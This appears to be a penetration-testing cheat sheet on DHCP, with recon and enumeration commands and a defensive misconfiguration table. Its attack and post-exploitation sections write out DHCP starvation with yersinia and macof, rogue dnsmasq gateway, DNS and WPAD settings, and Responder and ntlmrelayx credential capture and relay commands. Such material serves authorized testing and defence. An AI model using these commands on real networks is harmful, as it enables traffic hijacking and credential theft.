DHCP (Dynamic Host Configuration Protocol)

Default Ports: 67/UDP (Server), 68/UDP (Client)

DHCP assigns IP addresses, gateways, DNS servers, domain names, and other network options to clients. In internal pentests, DHCP testing can expose rogue servers, weak network controls, WPAD redirection risk, and useful network configuration.

Connect​

Using dhclient​

dhclient shows the configuration a normal client receives.

sudo dhclient -v eth0  
sudo dhclient -r eth0  
sudo dhclient -v -I test-client-01 eth0  

Using NetworkManager​

NetworkManager shows DHCP values applied to the host.

nmcli connection show --active  
nmcli connection down "Wired connection 1"  
nmcli connection up "Wired connection 1"  
nmcli device show eth0  

Packet Capture​

Packet capture is the safest way to observe DHCP offers.

sudo tcpdump -ni eth0 'udp and (port 67 or port 68)'  
sudo tcpdump -ni eth0 -w dhcp.pcap 'udp and (port 67 or port 68)'  

Recon​

DHCP Discovery​

Broadcast discovery identifies DHCP servers on the local VLAN.

sudo nmap --script broadcast-dhcp-discover -e eth0  
sudo nmap --script broadcast-dhcp-discover --packet-trace -e eth0  

Identify DHCP Servers​

Look for unexpected server identifiers or multiple offers.

sudo tcpdump -ni eth0 -vvv 'udp and (port 67 or port 68)'  
  
# Interesting options:  
# 53 DHCP Message Type  
# 54 Server Identifier  
# 3 Router  
# 6 DNS Server  
# 15 Domain Name  
# 252 WPAD  

Lease Review​

Lease files reveal accepted DHCP options.

cat /var/lib/dhcp/dhclient.leases  
grep -Ei 'routers|domain-name|domain-name-servers|ntp|wpad' /var/lib/dhcp/dhclient.leases  

Enumeration​

DHCP Options​

Enumerate assigned network options for DNS, gateway, domain, NTP, PXE, and WPAD.

sudo nmap --script broadcast-dhcp-discover -e eth0  
nmcli device show eth0 | grep -Ei 'IP4.DNS|IP4.GATEWAY|DOMAIN|DHCP'  

WPAD Enumeration​

DHCP option 252 may point clients to proxy auto-config files.

sudo tcpdump -ni eth0 -vvv 'udp and (port 67 or port 68)' | grep -i wpad  
curl -I http://wpad/wpad.dat  

PXE Enumeration​

PXE options may reveal boot servers and deployment infrastructure.

sudo tcpdump -ni eth0 -vvv 'udp and (port 67 or port 68)' | grep -Ei 'tftp|boot|pxe|next-server'  

Attack Vectors​

Rogue DHCP Server​

A rogue server can provide malicious gateway, DNS, or WPAD settings.

sudo yersinia -G  
sudo bettercap -iface eth0  

DHCP Starvation​

Starvation exhausts the address pool and can force clients toward rogue services.

sudo yersinia dhcp -attack 1  
sudo macof -i eth0  

Malicious DNS or Gateway​

Changing DNS or router options can redirect client traffic.

# Example dnsmasq test configuration  
interface=eth0  
dhcp-range=192.168.56.100,192.168.56.200,12h  
dhcp-option=3,192.168.56.1  
dhcp-option=6,192.168.56.1  

WPAD Redirection​

WPAD can redirect HTTP proxy discovery to attacker-controlled infrastructure.

# dnsmasq DHCP option 252  
dhcp-option=252,http://192.168.56.1/wpad.dat  

Post-Exploitation​

Network Mapping​

DHCP options help map network infrastructure.

grep -Ei 'routers|domain-name|domain-name-servers|ntp|wpad|next-server' /var/lib/dhcp/dhclient.leases  

Credential Capture Review​

WPAD and DNS redirection tests may trigger proxy authentication attempts.

sudo responder -I eth0 -w -F  
sudo ntlmrelayx.py -tf targets.txt -smb2support  

Useful Tools​

Tool| Purpose
---|---
tcpdump| DHCP packet capture
nmap| Broadcast DHCP discovery
dhclient| Client lease testing
nmcli| Applied DHCP settings
yersinia| DHCP attack testing
dnsmasq| Controlled rogue DHCP lab testing
Responder| WPAD credential capture testing

Security Misconfigurations​

Misconfiguration| Risk
---|---
No DHCP snooping| Rogue DHCP attacks
Multiple unexpected DHCP servers| Client redirection
WPAD option enabled broadly| Proxy credential capture
Untrusted DNS via DHCP| Traffic redirection
PXE options exposed| Deployment infrastructure leakage
No port security| DHCP starvation risk